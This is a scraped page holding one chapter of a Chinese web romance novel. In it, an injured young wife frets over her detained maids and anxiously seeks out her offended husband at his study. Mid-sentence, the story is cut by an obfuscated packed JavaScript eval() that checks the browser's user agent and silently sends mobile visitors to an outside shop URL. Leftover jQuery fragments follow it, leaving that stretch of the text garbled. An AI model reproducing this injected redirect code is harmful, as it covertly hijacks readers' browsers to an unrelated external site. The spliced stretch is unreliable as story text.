文趣网 > 都市小说 > 强娶的夫人要和离 > 42. 认错
    则安睡到傍晚才醒,身旁是秋月在照顾。

    “衔珠在哪?还有……衔玉……”则安的声音有些嘶哑,挣扎着想起身。

    “少夫人放心,”秋月扶着则安坐起身,喂给她一杯温热的茶水:“他们都在府里。”

    则安掀开被子,起身要下床。

    “他们在哪?我要去见他们。”

    秋月拦住她:“您身上还有伤,公子交代了,要您好好养伤……”

    则安推开她要下床,挣扎中扯着背后的伤口,疼的“嘶”了一声。

    “徐隐章在哪?”则安自顾自穿鞋,问秋月:“带我去见他。”

    “公子现在不在府里,等晚些时候公子回来了,奴婢一定告诉您。”秋月着急,却又不敢上手阻拦她,怕又扯着她的伤口。

    则安穿好衣服往外走。

    “少夫人,求求您,先养病,好不好?衔珠和衔玉都还活着,真的都还活着,奴婢亲眼见到了!”

    见则安不为所动,秋月继续恳求:“这次公子很生气,奴婢跟着公子也许多年了,头一回见公子如此动怒……”

    则安已经出了正房,秋月亦步亦趋。

    “少夫人,您先等等,等公子回来了,奴婢一定第一时间通报……”

    在则安即将出院子时,秋月扑通一声跪下。

    “少夫人,衔珠的命是命,奴婢的命就不是命吗?”

    则安立在原地,再也迈不动脚。

    “敛玉榭的丫鬟婆子,跟着公子在外面办事的侍卫小厮,即便是奴才,哪个又不是爹生娘养……”

    秋月的声音中已经带了哭腔。

    是的,每个人的命都是命。

    是她自以为是,是她愚蠢,是她自私,是她任性妄为。

    秋月抹干眼泪,麻利地站起身,挽着则安的一条胳膊,几乎是将人拽到屋内的。

    “少夫人,先喝药,好不好?”

    则安一口一口地喝着,任由苦味在舌腔中蔓延。苦味经过喉咙,到达腹部,经久不散。

    从傍晚等到夜幕降临,又等到更声响起,徐隐章一直没来。

    秋月劝她:“公子可能公务繁忙,少夫人,先睡吧。您身上还有伤,大夫交代了,要静养。”

    次日又等了一天,徐隐章还是没来。

    到晚上就寝时,秋月支开旁人,悄悄从怀中掏出一对耳环递给则安。

    “衔珠和衔玉都还活着,就关在前院柴房里。奴婢今日悄悄去看了,他们都好好的,衔珠特意交代了,让少夫人不要担心她,好好养伤。”

    确实是衔珠的耳环。

    则安躺在床上,两只手拽着秋月的胳膊,板着脸说:“你要是敢骗我……你知道的……我不会放过你。”

    秋月举手发誓:“奴婢真的没有骗您~”

    “衔玉呢?衔玉也还活着吗?”则安又问。

    事情到如今这个地步,她还有什么不明白的。衔玉多半是沈如昭派来的人,暗中推波助澜,怂恿她逃跑。那日要杀徐隐章的歹人,必定和沈如昭脱不了干系。

    “少夫人放心,也活的好好的。”秋月语气微沉:“不过,衔玉被看守的很严格,奴婢根本没机会靠近。”

    则安坐起身问,语气有些急:"那你怎么知道她还活着?"

    “少夫人别急!”秋月握住她手:“奴婢和每日去送饭的小厮打听了,他说衔玉好好的,只是关着,没受刑。”

    则安又躺回去,翻过身面向墙壁:“要是我还能做少夫人,日后必定报答你今日之恩。”

    她的声音中是掩饰不住的颓丧:“要是……衣柜里面有一个小匣子,里面是我的私产,与徐隐章无关。你去挑挑,看中了什么随便拿。”

    顿了顿,又补充:“梳妆台上的首饰,除了徐隐章买回来的,其余的看着挑吧。”

    “少夫人也忒小看奴婢。”秋月笑着说:“就只当奴婢是这等贪财之辈吗?”

    “保不齐徐隐章就要休了我。”则安食指指甲一下下扣着被子上绣着的荷花:“趁着我还能做主,赶紧拿些银钱傍身吧,将来你嫁人了也有底气些。”

    秋月歪着身子凑过去:“奴婢打听了,这两晚公子都歇在前院书房。”她怂恿则安:“这会儿公子肯定还没睡,您要不要,去见见公子?”

    则安闭上眼睛,手指也不扣被子了。

    “夫妻哪有隔夜仇,您服个软,说两句好话,公子必定心软。”

    “他身上有伤,又正在气头上,一见着我,估计气的觉都睡不着。”则安又往里靠了些,想将被子往上拉,盖住自己的头。奈何秋月一直往下拽,非要凑在她耳边说。

    “公子哪会真生您的气。”

    秋月凑的更近,几乎快躺在她身边了。

    “奴婢跟着公子也有七八年了。公子生平最厌恶的就是底下人叛主,但凡有不忠的,不管从前立了多少功,一律处死。”

    秋月顿了顿,声音中平添几分惆怅:“素砚就是最好的例子。”

    “您不一样!”她立刻又提起精神:“您仔细想想,自打您进门,甭管您做什么,公子可曾真正生过气?”

    “就拿这次的事来说,要是搁在寻常奴婢身上,早就仗杀了。可衔珠和衔玉都还好好的,公子一个手指头都没动他们。这都是顾念您呐。”

    则安将脸埋进被子里,像只鸵鸟一样蜷缩起身子,躲避秋月的围追堵截。

    然而躲是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733545|208847||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没有用的,秋月很快将她从被子里挖出来,伺候她穿好衣服,挽着她的胳膊往前院去。

    书房院门口的侍卫见她来并不阻拦,则安的脚却像是长了钉子,钉在地上,无论如何都不愿意再往前挪一步。

    “等一等!等一等!”

    则安没想到秋月力气这么大,她完全不是对手,即便万分抗拒,还是被秋月一点点拖进去了。

    门口站着的小厮见她来,立即就要进去通报,则安食指靠在嘴唇“嘘”了一声,又转头狠狠瞪了秋月一眼。

    二人互相看一眼,都不敢擅自做主。

    已经入了夜,间或有凉风吹来,却带不走则安心中的燥热。

    院子里种了两棵槐花树,开的很好,摘一些下来做槐花糕应该不错。

    门口的台阶一共有五级,夜里睡迷糊了,会不会有人摔着?

    院子里怎么也不放水缸?万一书房起火了怎么办?

    她的鞋面有点脏,这样去见徐隐章,多失礼啊。

    则安抬头看看夜空中的星星,低头看看还冒着热气儿的石砖,摸摸自己裙子上绣的海棠花……

    “去通报吧。”她对小厮说。

    是她闯了祸,是她惹出了麻烦。

    徐隐章不罚衔珠和衔玉,那是他大度。

    她却不能装作什么都没发生。

    以后一定要小心,要谨慎,再也不能冲动,不能惹麻烦。

    不管徐隐章说什么,做什么,都要老老实实受着。

    她还是没准备好……

    看见小厮出来,则安一颗心几乎要提到嗓子眼,全靠掐自己大腿才克制住了转身就走的冲动。

    “公子还有公务要忙,请您先回去歇息。等他忙完了再去看您。”

    “好,那我不打扰他了。”则安攥着秋月的手就走。

    屋内的徐隐章早将她的话听的一清二楚。

    小厮进来禀告时,他正在写奏章,闻言头没没抬一下,“嗯”了一声让人下去。

    奏章上的字写错了一个,他深吸一口气,忽略掉那个错字,继续写。很快,又错了一个。

    他将笔一掷,向后靠在椅背上,面无表情地盯着天青色的窗纱。

    他之前提过一回,则安当时拒绝了,但后来还是带人将他的书房重新布置过。

    这窗纱是她亲自去库房挑的。

    她惯来喜欢鲜艳亮色,敛玉榭的帘帐多是红粉,书房的窗纱却是天青色。

    比他一贯用的鸦青色亮,又不至于亮的过了头。

    如此聪慧,如此细致,当真猜不透他想要什么?

    或者,根本不在乎,不愿意费心思琢磨?

    他是不是,太过纵容她?